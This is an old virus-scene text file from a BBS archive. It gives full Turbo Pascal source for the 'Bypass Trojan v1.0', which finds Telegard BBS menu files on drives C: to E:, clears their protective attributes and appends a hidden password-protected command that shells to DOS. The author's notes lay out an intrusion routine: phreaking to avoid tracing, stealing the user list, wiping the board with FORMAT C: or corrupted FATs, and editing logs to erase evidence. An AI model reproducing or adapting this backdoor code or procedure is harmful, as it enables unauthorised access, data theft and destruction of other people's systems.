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221 lines
9.6 KiB
NASM
221 lines
9.6 KiB
NASM
;****************************************************************************;
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; ;
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; -=][][][][][][][][][][][][][][][=- ;
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; -=] P E R F E C T C R I M E [=- ;
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; -=] +31.(o)79.426o79 [=- ;
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; -=] [=- ;
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; -=] For All Your H/P/A/V Files [=- ;
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; -=] SysOp: Peter Venkman [=- ;
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; -=] [=- ;
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; -=] +31.(o)79.426o79 [=- ;
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; -=] P E R F E C T C R I M E [=- ;
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; -=][][][][][][][][][][][][][][][=- ;
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; ;
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; *** NOT FOR GENERAL DISTRIBUTION *** ;
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; ;
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; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
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; Around Among the General Public. It Will be Very Useful for Learning how ;
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; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
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; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
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; Experience can Turn it Into a far More Malevolent Program Than it Already ;
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; Is. Keep This Code in Responsible Hands! ;
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; ;
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;****************************************************************************;
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Bypass Trojan v1.0 and v2.0 :
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Created by: Mechanix
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Released : October 1991
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Introduction:
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Well this is basically another backdoor creator for Telegard Systems. This
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one is relatively fullproof except for the fact that it requires REMOTE.BAT to
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exist on the target system, or it will not function properly. However, the
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Bypass Trojan v2.0 takes care of this problem as it creates REMOTE.BAT on the
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target system, if it doesn't exist already. This is why I am also releasing
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the source (in Turbo Pascal) to the Bypass Trojan v1.0. You will find the
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source after the description.
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Description:
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This trojan will scan all directories on drives C: to E: in search of the
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MAIN.MNU file. Then it will append a few lines to the file as to create a
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hidden command to shell to DOS. It also checks to see if the MAIN.MNU file is
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Read-Only or Hidden, and will remove these attributes long enough to make the
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changes. It will also check for write-protection. The source can also be
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changed as to modify any of the .MNU files.
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Notes:
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This trojan uses a basic Turbo Pascal cycle to scan all directories and
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files, and thus the source can be modified for a number of uses. As for a good
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procedure to nail the board once the shell to DOS command has been
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implemented, I recommend the following:
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- First and foremost, use a PBX or other phreaking trick to avoid the
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annoying Maestro phone.
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- Call preferably around 4-5 am, when the SysOp is almost sure not to be
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around.
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- Use the shuttle password (if there is one) and then apply as a NEW user
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after you have bypassed the shuttle password. This will usually bypass CBV
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utilities.
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- Shell to DOS in the correct menu.
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- Turn your capture mode on, as to record everything you see.
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- Go get the user list and ZIP it up with another ZIP file that is already
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online. This way you can D/L it later when you log on again. Or capture it
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through a text file viewing utility if you find one on the system.
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- If you don't want the user list, and just want to crash the board, then
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FORMAT C: should do the trick. Or uses DEBUG to rearrange his FATs. Or if
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it's a H/P board, use one of the online virii or trojans to screw him. That
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will teach him, and you get to test them out.
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- If you decide to only take the user list and let the board live, then go
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edit the logs as to remove all evidence of your actions. If there's a spool
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to printer log, you're in trouble.
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- If you could not bypass CBV, then find that utility's log and edit out
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your number.
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- Lastly, take off the DOS shell command from the menu you modified in the
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first place, unless you want to use it again, but this is risky.
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Well that's the method I've been using, but the choice is your's.
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Source:
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PROGRAM BYPASS1;
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{ Bypass Trojan v1.0 }
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{ Created by: Mî›H’ï!X [NuKE] }
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{ Created on: 27/09/91 }
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USES DOS;
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VAR
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Target : SEARCHREC;
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T : TEXT;
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PROCEDURE DIRECT (PATH : STRING);
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VAR
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PATH2 : STRING;
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INFO : SEARCHREC;
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INFO2 : SEARCHREC;
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F : TEXT;
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BEGIN
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Findfirst (PATH + '\*.*',$10,INFO);
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WHILE DOSERROR = 0 DO
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BEGIN
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IF (INFO.ATTR = $10) AND (INFO.NAME[1] <> '.') THEN
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Begin
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PATH2 := PATH + '\' + INFO.NAME;
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Chdir (PATH2);
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Findfirst ('MAIN.MNU',($3F - $10),INFO2); { Or any .MNU you wish }
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WHILE DOSERROR = 0 DO
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Begin
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ASSIGN (F,INFO2.NAME);
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Setfattr (F,$20);
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Append (F);
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Writeln (F,' ');
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Writeln (F,' ');
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Writeln (F,'#'); { Key to add }
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Writeln (F,' ');
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Writeln (F,'-$');
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Writeln (F,'NUKEWAR;PW: ;^8WRONG - access denied!'); { Password }
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Writeln (F,' ');
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Writeln (F,' ');
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Writeln (F,' ');
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Writeln (F,'#'); { Key to add }
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Writeln (F,' ');
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Writeln (F,'D-');
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Writeln (F,'REMOTE.BAT');
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Close (F);
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Findnext(INFO2);
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End;
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DIRECT (PATH2);
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End;
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Findnext(INFO);
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End;
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END;
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PROCEDURE FILEFIND (DRIVE : CHAR);
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BEGIN
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Chdir (DRIVE + ':\');
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Findfirst ('MAIN.MNU',($3F - $10),Target); { Or any .MNU you wish }
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WHILE DOSERROR = 0 DO
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Begin
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ASSIGN (T,Target.name);
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Setfattr (T,$20);
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{$I-}
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Append (T);
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{$I+}
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IF IORESULT = 0 THEN
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Begin
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Writeln (T,' ');
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Writeln (T,'#'); { Key to add }
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Writeln (T,' ');
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Writeln (T,'-$');
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Writeln (T,'NUKEWAR;PW: ;^8WRONG - access denied!'); { Password }
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Writeln (T,' ');
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Writeln (T,' ');
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Writeln (T,' ');
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Writeln (T,'#'); { Key to add }
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Writeln (T,' ');
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Writeln (T,'D-');
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Writeln (T,'REMOTE.BAT');
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Close (T);
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End
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ELSE
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Exit;
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Findnext (Target);
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End;
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DIRECT (DRIVE + ':');
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END;
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BEGIN
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{$I-}
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Chdir ('C:\');
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{$I+}
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IF IORESULT = 0 THEN
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FILEFIND ('C');
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{$I-}
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Chdir ('D:\');
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{$I+}
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IF IORESULT = 0 THEN
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FILEFIND ('D');
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{$I-}
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Chdir ('E:\');
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{$I+}
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IF IORESULT = 0 THEN
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FILEFIND ('E');
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END.
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Well there it is. Please feel free to improve it in anyway you like. I will
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soon release the source to Bypass Trojan v2.0 which checks for REMOTE.BAT and
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creates one if needed. The REMOTE.BAT file also has the Hidden attribute to
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try and hide it from the SysOp. The reason for this, is that smart SysOps, and
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any of those who are reading this, rename the REMOTE.BAT or remove it, to
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avoid this sort of trojan. The original release is for a modem on Com2. If you
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wish to have the trojan for another device, either edit it in the .EXE, or
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contact me (Mechanix) on any [NuKE] board, and I will recompile the source for
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you with another device.
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Mechanix [NuKE]
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;****************************************************************************;
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; ;
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; -=][][][][][][][][][][][][][][][=- ;
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; -=] P E R F E C T C R I M E [=- ;
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; -=] +31.(o)79.426o79 [=- ;
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; -=] [=- ;
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; -=] For All Your H/P/A/V Files [=- ;
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; -=] SysOp: Peter Venkman [=- ;
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; -=] [=- ;
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; -=] +31.(o)79.426o79 [=- ;
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; -=] P E R F E C T C R I M E [=- ;
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||
; -=][][][][][][][][][][][][][][][=- ;
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; ;
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; *** NOT FOR GENERAL DISTRIBUTION *** ;
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; ;
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; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
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; Around Among the General Public. It Will be Very Useful for Learning how ;
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; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
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; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
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; Experience can Turn it Into a far More Malevolent Program Than it Already ;
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; Is. Keep This Code in Responsible Hands! ;
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||
; ;
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||
;****************************************************************************;
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